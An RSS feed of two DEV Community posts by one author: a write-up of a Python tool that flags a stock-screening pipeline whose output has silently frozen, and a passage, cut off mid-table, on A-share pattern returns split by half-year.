<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Felixwang007</title>
    <description>The latest articles on DEV Community by Felixwang007 (@felixwang007).</description>
    <link>https://dev.to/felixwang007</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4050246%2F367055f4-756f-41a0-96f9-b2b5447699ae.png</url>
      <title>DEV Community: Felixwang007</title>
      <link>https://dev.to/felixwang007</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/felixwang007"/>
    <language>en</language>
    <item>
      <title>I Built a Frozen-Scan Detector. A Week Later It Fires Daily — and Nothing Consumes It</title>
      <dc:creator>Felixwang007</dc:creator>
      <pubDate>Mon, 19 Oct 2026 04:02:23 +0000</pubDate>
      <link>https://dev.to/felixwang007/i-built-a-frozen-scan-detector-a-week-later-it-fires-daily-and-nothing-consumes-it-31fe</link>
      <guid>https://dev.to/felixwang007/i-built-a-frozen-scan-detector-a-week-later-it-fires-daily-and-nothing-consumes-it-31fe</guid>
      <description>&lt;p&gt;This is the verdict my detector printed ten minutes ago, verbatim:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;python tools/scanfresh/scan_freshness_guard.py check &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--ledger&lt;/span&gt; recommendations/signal_history.jsonl &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--verify&lt;/span&gt; recommendations/signal_verify_log.jsonl &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--panel-dir&lt;/span&gt; history_ext &lt;span class="nt"&gt;--today&lt;/span&gt; 2026-10-19

verdict: FROZEN
  &lt;span class="o"&gt;!&lt;/span&gt; panel newest bar 2026-09-28 is 15 business days behind 2026-10-19
  &lt;span class="o"&gt;!&lt;/span&gt; trailing identical run of 15 entries &lt;span class="o"&gt;(&lt;/span&gt;2026-09-28 -&amp;gt; 2026-10-16, &lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4c29e76725&lt;span class="o"&gt;)&lt;/span&gt;
  &lt;span class="o"&gt;!&lt;/span&gt; 2 verification transition&lt;span class="o"&gt;(&lt;/span&gt;s&lt;span class="o"&gt;)&lt;/span&gt; advanced target_date without changing any measured detail
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Exit code &lt;code&gt;2&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Three numbers:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;15&lt;/strong&gt; consecutive sessions whose ledger entries are identical after stripping every timestamp.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;15 business days&lt;/strong&gt; how far the data panel those sessions claim to analyse has drifted behind today.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;3&lt;/strong&gt; — how many of those identical entries were written &lt;em&gt;after&lt;/em&gt; I shipped this detector.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The third number is the one this post is actually about.&lt;/p&gt;

&lt;h2&gt;
  
  
  The pipeline
&lt;/h2&gt;

&lt;p&gt;A local Python job over a panel of per-stock daily bars:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;panel (3,147 JSON files, one per stock)
  -&amp;gt; classify every stock into one of six technical patterns (build_dataset_v3.compute_tech)
  -&amp;gt; append {scan_date, dist, picks} to recommendations/signal_history.jsonl
  -&amp;gt; next session, score yesterday's picks, append to signal_verify_log.jsonl
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It is a pure function of the panel. Which is the entire bug surface: &lt;em&gt;if the panel stops being updated, the scan keeps succeeding at analysing the past.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What "success" was measuring
&lt;/h2&gt;

&lt;p&gt;The job's contract was "append a line and exit 0". It honoured that contract 21 times in a row. Every log line green, every night at 15:35, Weekdays only.&lt;/p&gt;

&lt;p&gt;A verification ledger is supposed to answer "were yesterday's picks right?". Mine answered with the identical four per-stock returns under three different target dates, because it was re-scoring a price file whose mtime had not moved since 2026-09-28 12:10.&lt;/p&gt;

&lt;p&gt;The panel detail that makes this concrete: 3,147 files exist, but only &lt;strong&gt;3,049&lt;/strong&gt; instruments appear on the newest bar. The other ~100 files stopped at earlier dates. Nothing complained — a file count is not a freshness measurement.&lt;/p&gt;

&lt;h2&gt;
  
  
  Fingerprint the answer, not the activity
&lt;/h2&gt;

&lt;p&gt;Activity metrics — ran / exit code / rows processed / wall time — are all satisfiable by a frozen pipeline. The one reading that a frozen pipeline cannot fake is &lt;em&gt;did the substance of the output change?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;So hash the fields that define the answer, and deliberately exclude the ones that define the run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;SNAP_KEYS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;dist&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;picks&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;rebound&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;breaks&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;SNAP_KEYS&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;picked&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;keys&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;picked&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;                      &lt;span class="c1"&gt;# unknown shape -&amp;gt; whole record minus timing
&lt;/span&gt;        &lt;span class="n"&gt;picked&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt;
                  &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;scan_date&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;verify_date&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;target_date&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;generated&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;run_at&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;ts&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;
    &lt;span class="n"&gt;blob&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;picked&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sort_keys&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ensure_ascii&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sha256&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;blob&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;hexdigest&lt;/span&gt;&lt;span class="p"&gt;()[:&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;sort_keys=True&lt;/code&gt; so re-serialising a dict cannot fake a change. &lt;code&gt;scan_date&lt;/code&gt; excluded so a date bump cannot fake one either. Anyone can recompute these fingerprints from the ledger with no access to my code.&lt;/p&gt;

&lt;p&gt;Three checks fall out of that:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;check&lt;/th&gt;
&lt;th&gt;reads&lt;/th&gt;
&lt;th&gt;trips when&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;panel_stale&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;newest bar date vs expected last trading day, in business days&lt;/td&gt;
&lt;td&gt;gap &amp;gt; &lt;code&gt;--max-panel-gap&lt;/code&gt; (default 1)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;trailing_repeat&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;fingerprints of consecutive ledger entries&lt;/td&gt;
&lt;td&gt;trailing identical run &amp;gt; &lt;code&gt;--max-repeat&lt;/code&gt; (default 2)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;verify_frozen&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;verification ledger: &lt;code&gt;target_date&lt;/code&gt; advances while per-item detail is identical&lt;/td&gt;
&lt;td&gt;any such transition&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Two of the three also catch a subtler failure I had not thought about until I wrote the check: a pipeline can keep &lt;em&gt;reading&lt;/em&gt; while its numbers stop moving, and it can keep &lt;em&gt;re-dating&lt;/em&gt; while its measurements stay frozen. Both look like output growth. Neither is.&lt;/p&gt;

&lt;h2&gt;
  
  
  One week later: the detector is right, and irrelevant
&lt;/h2&gt;

&lt;p&gt;Here is the honest part. I built this, published the tool, wrote about the failure mode — and then never wired it to the writer. Since the guard landed, the writer cron has appended three more byte-identical entries. The guard's verdict has been &lt;code&gt;2&lt;/code&gt; every day. Nothing reads exit codes of a tool nothing calls.&lt;/p&gt;

&lt;p&gt;So the real lesson of this week is not "add a staleness check". It is:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;A detector whose verdict is not a precondition is a dashboard.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;A green dashboard on a frozen pipeline is worse than no dashboard, because now there are two artifacts telling you everything is fine: the writer's &lt;code&gt;exit 0&lt;/code&gt; and the detector's existence.&lt;/p&gt;

&lt;p&gt;The fix is one line in the writer, and I am writing it here so I have to do it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;executable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;tools/scanfresh/scan_freshness_guard.py&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                   &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;check&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;--ledger&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;LEDGER&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;--panel-dir&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;PANEL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                   &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;--today&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;today&lt;/span&gt;&lt;span class="p"&gt;]).&lt;/span&gt;&lt;span class="n"&gt;returncode&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;refusing to append a snapshot I cannot vouch for&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The snapshot must not be written at all. Logging the alarm while writing the stale entry anyway is the same bug with extra ceremony.&lt;/p&gt;

&lt;h2&gt;
  
  
  Rules I now apply to any scheduled analysis job
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Green is not evidence.&lt;/strong&gt; "Ran, exit 0" is a statement about the runner. Ask which reading would have been &lt;em&gt;different&lt;/em&gt; had the job failed. If the answer is "none", you measured nothing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ask what the job's output would look like if it were secretly frozen.&lt;/strong&gt; That question is cheap to answer and it is where all my reliability bugs live.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fingerprint the answer, exclude the clock.&lt;/strong&gt; Timestamps, run ids, row counts and file counts all change when nothing has changed — and none of them change when everything has.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"No input" needs its own exit code.&lt;/strong&gt; The guard returns &lt;code&gt;3 INSUFFICIENT&lt;/code&gt; when handed nothing to judge, because a checker that examined zero entries must never print "healthy" — the same reason a file scanner that opened zero files must never print "clean".&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Two identical days are normal; fifteen are not.&lt;/strong&gt; Make the threshold explicit, tune it against your own hit rate, and remember that a single repeat is not a signal.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Gate, don't report.&lt;/strong&gt; A verdict nobody consumes is decoration. The check belongs in the writer's precondition, and the failure mode should be &lt;em&gt;no snapshot written&lt;/em&gt;, not &lt;em&gt;snapshot written plus a warning logged&lt;/em&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  The detector
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;tools/scanfresh/scan_freshness_guard.py&lt;/code&gt; — stdlib only, 409 lines, exit codes &lt;code&gt;0&lt;/code&gt; HEALTHY / &lt;code&gt;2&lt;/code&gt; FROZEN / &lt;code&gt;3&lt;/code&gt; INSUFFICIENT / &lt;code&gt;1&lt;/code&gt; error, with an 18-assertion &lt;code&gt;selftest&lt;/code&gt; over synthetic fixtures:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python tools/scanfresh/scan_freshness_guard.py selftest          &lt;span class="c"&gt;# 18/18 passed&lt;/span&gt;

python tools/scanfresh/scan_freshness_guard.py check &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--ledger&lt;/span&gt;  samples/real_frozen_history.jsonl &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--verify&lt;/span&gt;  samples/real_verify_frozen.jsonl &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--today&lt;/span&gt; 2026-10-12                                             &lt;span class="c"&gt;# exit 2, FROZEN&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;samples/&lt;/code&gt; ships the &lt;strong&gt;real&lt;/strong&gt; frozen ledgers (the 16-entry one with the trailing run of 10, and its verification ledger), so the &lt;code&gt;FROZEN&lt;/code&gt; verdict is reproducible on your machine without my data, plus a synthetic healthy ledger so the pass path is testable too.&lt;/p&gt;

&lt;p&gt;Code, samples, notes: &lt;strong&gt;&lt;a href="https://github.com/Felixwang007/awesome-content-tools/tree/main/tools/scanfresh" rel="noopener noreferrer"&gt;https://github.com/Felixwang007/awesome-content-tools/tree/main/tools/scanfresh&lt;/a&gt;&lt;/strong&gt; — MIT, take the 400 lines and skip the essay.&lt;/p&gt;

&lt;p&gt;One caveat I would rather state than have you discover: this detects frozen &lt;em&gt;output&lt;/em&gt;, not a broken &lt;em&gt;fetch&lt;/em&gt;. A source that returns different garbage every day passes all three checks. Freshness is necessary, not sufficient. The obvious next gap in mine is a China exchange holiday calendar — right now &lt;code&gt;panel_stale&lt;/code&gt; knows weekends but treats October's exchange holidays as ordinary business days, which is exactly how a 15-day gap reads as ordinary Monday drift.&lt;/p&gt;

&lt;p&gt;If you build analysis agents you actually run daily — screening, scheduled scans, anything that appends a snapshot and exits 0 — the same guard is packaged as a skill on 虾评 (&lt;a href="https://xiaping.coze.com" rel="noopener noreferrer"&gt;xiaping.coze.com&lt;/a&gt;) next to the A-share three-pillar screener, and the raw script is in the repo above.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;All numbers here are from a single &lt;code&gt;check&lt;/code&gt; run against the real ledger and panel on 2026-10-19; the ledger, verification log and panel are a private workspace, but the guard and the exact frozen ledgers it trips on are public in &lt;code&gt;samples/&lt;/code&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>opensource</category>
      <category>stocks</category>
    </item>
    <item>
      <title>I Split My A-Share Signal Study Into 6 Time Halves. The Top-Return Pattern Held in 4 of Them - a "Stay Out" Signal Went 6 for 6</title>
      <dc:creator>Felixwang007</dc:creator>
      <pubDate>Thu, 15 Oct 2026 11:20:02 +0000</pubDate>
      <link>https://dev.to/felixwang007/i-split-my-a-share-signal-study-into-6-time-halves-the-top-return-pattern-held-in-4-of-them-a-2o02</link>
      <guid>https://dev.to/felixwang007/i-split-my-a-share-signal-study-into-6-time-halves-the-top-return-pattern-held-in-4-of-them-a-2o02</guid>
      <description>&lt;p&gt;Three numbers first:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;+0.90pp&lt;/strong&gt; - the average 5-day excess return of the pattern that ranks first if you average all six half-years together.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;4/6&lt;/strong&gt; - the number of those halves where that sign actually held.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;6/6&lt;/strong&gt; - the number of halves where the sign held for the pattern I now rank first. It has never once said "buy".&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Same panel, same labels, same arithmetic. The only thing I changed is that I stopped reporting a single average over a 32-month window and started reporting the six halves separately. That one change reordered my entire signal list.&lt;/p&gt;

&lt;h2&gt;
  
  
  The panel and the labels
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;panel     3,147 A-share names, one JSON per name, 641 daily bars each
window    2024-02-02 -&amp;gt; 2026-09-28 (uniform by construction: a name with fewer
          than 30 bars, or a start date later than 2023-12-01, is dropped)
rows      1,853,978 labelled stock-days
          (forward return = closes[i+5]/closes[i] - 1)
labels    873,278 of those rows carry one of six patterns
          (build_dataset_v3.compute_tech); the rest are unlabelled
halves    2024H1 ... 2026H2 - six buckets
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two definitions, so the tables below cannot be misread:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;mean&lt;/strong&gt; - average 5-day forward return of every row carrying that label inside that half.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;excess&lt;/strong&gt; - that mean minus the average forward return of &lt;em&gt;all&lt;/em&gt; labelled rows inside the &lt;em&gt;same&lt;/em&gt; half.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Excess is what I rank on now, and the subtraction is the whole point.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why the same-half baseline has to come out
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;half&lt;/th&gt;
&lt;th&gt;baseline (all labelled rows, %)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2024H1&lt;/td&gt;
&lt;td&gt;-0.54&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2024H2&lt;/td&gt;
&lt;td&gt;+0.91&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025H1&lt;/td&gt;
&lt;td&gt;+0.79&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025H2&lt;/td&gt;
&lt;td&gt;+0.81&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026H1&lt;/td&gt;
&lt;td&gt;-0.21&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026H2&lt;/td&gt;
&lt;td&gt;+0.30&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;First halves average &lt;strong&gt;+0.01pp&lt;/strong&gt;. Second halves average &lt;strong&gt;+0.67pp&lt;/strong&gt;. The gap is &lt;strong&gt;+0.66pp&lt;/strong&gt; - and a pattern that happened to fire mostly in second halves collects that gap for free before it does anything. That is not edge, it is calendar. Subtract the same-half baseline and the free money evaporates.&lt;/p&gt;

&lt;h2&gt;
  
  
  The six halves, excess in percentage points
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;half&lt;/th&gt;
&lt;th&gt;baseline&lt;/th&gt;
&lt;th&gt;oversold bounce&lt;/th&gt;
&lt;th&gt;pullback, shrinking volume&lt;/th&gt;
&lt;th&gt;range-bound&lt;/th&gt;
&lt;th&gt;uptrend&lt;/th&gt;
&lt;th&gt;volume breakout&lt;/th&gt;
&lt;th&gt;high-level volume dump&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2024H1&lt;/td&gt;
&lt;td&gt;-0.54&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;+1.44&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;+0.30&lt;/td&gt;
&lt;td&gt;-0.42&lt;/td&gt;
&lt;td&gt;-0.01&lt;/td&gt;
&lt;td&gt;-0.88&lt;/td&gt;
&lt;td&gt;-1.59&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2024H2&lt;/td&gt;
&lt;td&gt;+0.91&lt;/td&gt;
&lt;td&gt;+0.15&lt;/td&gt;
&lt;td&gt;-0.12&lt;/td&gt;
&lt;td&gt;-0.02&lt;/td&gt;
&lt;td&gt;-0.14&lt;/td&gt;
&lt;td&gt;-1.67&lt;/td&gt;
&lt;td&gt;-2.29&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025H1&lt;/td&gt;
&lt;td&gt;+0.79&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;+2.00&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;-0.09&lt;/td&gt;
&lt;td&gt;-0.19&lt;/td&gt;
&lt;td&gt;-0.35&lt;/td&gt;
&lt;td&gt;-0.76&lt;/td&gt;
&lt;td&gt;-2.01&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025H2&lt;/td&gt;
&lt;td&gt;+0.81&lt;/td&gt;
&lt;td&gt;-0.33&lt;/td&gt;
&lt;td&gt;-0.11&lt;/td&gt;
&lt;td&gt;+0.03&lt;/td&gt;
&lt;td&gt;-0.16&lt;/td&gt;
&lt;td&gt;-0.25&lt;/td&gt;
&lt;td&gt;-1.33&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026H1&lt;/td&gt;
&lt;td&gt;-0.21&lt;/td&gt;
&lt;td&gt;-0.06&lt;/td&gt;
&lt;td&gt;+0.27&lt;/td&gt;
&lt;td&gt;-0.17&lt;/td&gt;
&lt;td&gt;+0.50&lt;/td&gt;
&lt;td&gt;+0.07&lt;/td&gt;
&lt;td&gt;-0.35&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026H2&lt;/td&gt;
&lt;td&gt;+0.30&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;+2.22&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;-0.09&lt;/td&gt;
&lt;td&gt;+0.18&lt;/td&gt;
&lt;td&gt;-0.73&lt;/td&gt;
&lt;td&gt;-1.52&lt;/td&gt;
&lt;td&gt;-2.28&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Now rank them by how often the sign holds, instead of by magnitude:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;pattern&lt;/th&gt;
&lt;th&gt;avg excess (pp)&lt;/th&gt;
